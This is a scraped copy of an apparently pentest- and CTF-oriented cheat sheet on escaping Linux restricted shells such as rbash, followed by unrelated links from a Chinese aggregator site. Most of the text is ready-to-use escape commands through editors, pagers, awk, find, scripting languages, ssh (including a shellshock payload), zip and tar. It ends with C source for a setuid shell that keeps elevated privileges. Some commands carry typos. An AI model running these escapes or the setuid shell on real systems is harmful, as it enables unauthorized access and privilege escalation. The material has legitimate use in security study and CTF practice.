Author: @n4ckhcker & @h4d3sw0rm

Introduction

Hello, so first of all let’s explain what is a restricted shell ? A restricted shell is a shell that block/restricts some of the commands like cd,ls,echo etc or "block" the environment variables like SHELL,PATH,USER. Sometimes a restricted shell can block the commands with / or the redirecting outputs like >,>>. The types of a restricted shell can be : rbash,rksh,rsh. But now why someone want to create a restricted shell ?

Let’s say some examples :

1)To improve Security

2)To block hackers/pentesters.

3)Sometimes system administrators create a restricted shell to protect theirselves from dangerous commands.

4)For a CTF Challenge. (Root-me/hackthebox/vulnhub)

Enumeration Linux Environment

Enumeration is the most important part. We need to enumeration the Linux environmental to check what we can do to bypass the rbash. We need to enumerate :

1) First we must to check for available commands like cd/ls/echo etc.

2) We must to check for operators like >,>>,<,|.

3) We need to check for available programming languages like perl,ruby,python etc.

4) Which commands we can run as root (sudo -l).

5) Check for files or commands with SUID perm.

6) You must to check in what shell you are : echo $SHELL you will be in rbash by 90%

7) Check for the Environmental Variables : run env or printenv Now let’s move into Common Exploitation Techniques.

Common Exploitation Techniques

Now let’s see some of the common exploitation techniques.

1) If "/" is allowed you can run /bin/sh or /bin/bash.

2) If you can run cp command you can copy the /bin/sh or /bin/bash into your directory.

3) From ftp > !/bin/sh or !/bin/bash

4) From gdb > !/bin/sh or !/bin/bash

5) From more/man/less > !/bin/sh or !/bin/bash

6) From vim > !/bin/sh or !/bin/bash

7) From rvim > :python import os; os.system("/bin/bash )

8) From scp > scp -S /path/yourscript x y:

9) From awk > awk 'BEGIN {system("/bin/sh or /bin/bash")}'

10) From find > find / -name test -exec /bin/sh or /bin/bash \;

Programming Languages Techniques

Now.. let’s look some programming languages techniques.

1) From except > except spawn sh then sh.

2) From python > python -c 'import os; os.system("/bin/sh")'

3) From php > php -a then exec("sh -i");

4) From perl > perl -e 'exec "/bin/sh";'

5) From lua > os.execute('/bin/sh'). or os.system('/bin/bash')

6) From ruby > exec "/bin/sh"

7) From java > Runtime.getRuntime.exec("/bin/bash")

Now let’s move into Advance Techniques.

Advanced Techniques

Now let's move into some dirty advance techniques.

1)From ssh > ssh username@IP - t "/bin/sh" or "/bin/bash"

2)From ssh2 > ssh username@IP -t "bash --noprofile"

3)From ssh3 > ssh username@IP -t "() { :; }; /bin/bash" (shellshock)

4)From ssh4 > ssh -o ProxyCommand="sh -c /tmp/yourfile.sh" 127.0.0.1 (SUID)

5)From git > git help status > you can run it then !/bin/bash

6)From pico > pico -s "/bin/bash" then you can write /bin/bash and then CTRL + T

7)From zip > zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"

8)From tar > tar cf /dev/null testfile --checkpoint=1 --checkpointaction=exec=/bin/bash

C SETUID SHELL :

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h> int main(int argc, char **argv, char **envp){
setresgid(getegid(), getegid(), getegid());
setresuid(geteuid(), geteuid(), geteuid());
execve("/bin/bash",argv,envp);
return ;
}

Referer:

https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf

Linux Restricted Shell Bypass的更多相关文章

  1. 详解Linux交互式shell脚本中创建对话框实例教程_linux服务器

    本教程我们通过实现来讲讲Linux交互式shell脚本中创建各种各样对话框,对话框在Linux中可以友好的提示操作者,感兴趣的朋友可以参考学习一下. 当你在终端环境下安装新的软件时,你可以经常看到信息 ...

  2. linux中shell变量$#,$@,$0,$1,$2的含义解释

    linux中shell变量$#,$@,$0,$1,$2的含义解释: 变量说明: $$ Shell本身的PID(ProcessID) $! Shell最后运行的后台Process的PID $? 最后运行 ...

  3. 使用C#给Linux写Shell脚本(下篇)

    在上篇的<使用C#给Linux写Shell脚本>结尾中,我们留下了一个关于C#如何调用BashShell的问题.在文章发布之后,我留意到有读者留言推荐使用“Pash”(一款类PowerSh ...

  4. linux中用shell获取昨天、明天或多天前的日期

    linux中用shell获取昨天.明天或多天前的日期 时间 -- :: BlogJava-专家区 原文 http://www.blogjava.net/xzclog/archive/2015/12/0 ...

  5. linux中用shell获取时间,日期

    linux中用shell获取昨天.明天或多天前的日期:在Linux中对man date -d 参数说的比较模糊,以下举例进一步说明:# -d, --date=STRING display time d ...

  6. Linux 的shell 字符串截取很有用。有八种方法。

    一 Linux 的字符串截取很有用.有八种方法. 假设有变量 var=http://www.linuxidc.com/123.htm 1  # 号截取,删除左边字符,保留右边字符. echo ${va ...

  7. Linux Bash Shell 快速入门

    BASH 的基本语法 最简单的例子 —— Hello World! 关于输入.输出和错误输出 BASH 中对变量的规定(与 C 语言的异同) BASH 中的基本流程控制语法 函数的使用 2.1     ...

  8. linux,shell输入反斜杠显示'W'。

    linux,shell输入反斜杠显示'W'. solution: 字体必须为"Courier New".

  9. 06 Linux下Shell介绍

    一.概述 每个人在成功登陆Linux后,系统会出现不同的提示符号,例如$,~,#等,然后你就可以开始输入需要的命令.若命令正确,系统就会依据命令的要求来执行,直到注销系统为止,在登陆到注销期间,输入的 ...

随机推荐

  1. redis、kafka、rabittMQ对比 (转)

    本文不对三者之间的性能进行对比,只是从三者的特性上区分他们,并指出三者的不用应用场景. 1.publish/subscribe 发布订阅模式如下图所示可以具有多个生产者和发布者,redis.kafka ...

  2. angular指令(二)--内置指令

    一.基础ng 属性指令:  ng-href ng-src ng-disabled ng-checked ng-readonly ng-selected ng-class ng-styl ...

  3. java在文件中输出换行符

    在字符串后面添加\r\n就可以了.   或者使用newline方法: FileOutputStream fos=new FileOutputStream("c:\\11.txt") ...

  4. Unity在协程(Coroutines)内开启线程(Threading )

    孙广东  2017.6.13 http://blog.csdn.NET/u010019717 为什么要在协程中开启线程, 因为很多时候我们是需要线程执行完成后回到主线程的.然后主线程在继续执行后续的操 ...

  5. 在C++中指针和引用传值区别

    笔者介绍:姜雪伟,IT公司技术合伙人,IT高级讲师,CSDN社区专家,特邀编辑,畅销书作者,已出版书籍:<手把手教你架构3D游戏引擎>电子工业出版社和<Unity3D实战核心技术详解 ...

  6. Android 进阶9:进程通信之 AIDL 解析

    读完本文你将了解: AIDL AIDL 生成文件分析 Stub Proxy AIDL 生成的内容小结 AIDL 的使用回顾 服务端 客户端 小结 手动写个 Binder 首先是定义跨进程接口实现 II ...

  7. 【解题报告】2014ACM/ICPC上海赛区现场赛B

    唉  谷歌出的神题,差点爆零了...三小时终于A掉 B题 题目大概是说从左上角的点出发,经过某路线最后回到原点,求每个格子被路线包含的圈数的平方和. 首先可以知道,对于某个格子来说,从该格子的任意一个 ...

  8. 21天学通C++_Day2

    继续学习,今天满课,相对学习内容较少,下面罗列内容: 0.常量 ▪字面常量: ▪使用关键字const声明的常量,const double Pi = 22.0/7; //后面有分号,跟定义变量一样 ▪使 ...

  9. SQLmap是一款用来检测与利用SQL漏洞的注入神器。

    sqlmap 重要参考 http://www.kali.org.cn/forum-75-1.html SQLmap是一款用来检测与利用SQL漏洞的注入神器.开源的自动化SQL注入工具,由Python写 ...

  10. ArcGIS Runtime SDK for WPF之SimpleRenderer无法添加、报错“图形符号无法序列化为 JSON”

    ArcGIS Runtime SDK for WPF之SimpleRenderer无法添加.报错“图形符号无法序列化为 JSON” 在上一篇博文中如果在 esri:Map 里面是否设置了的UseAcc ...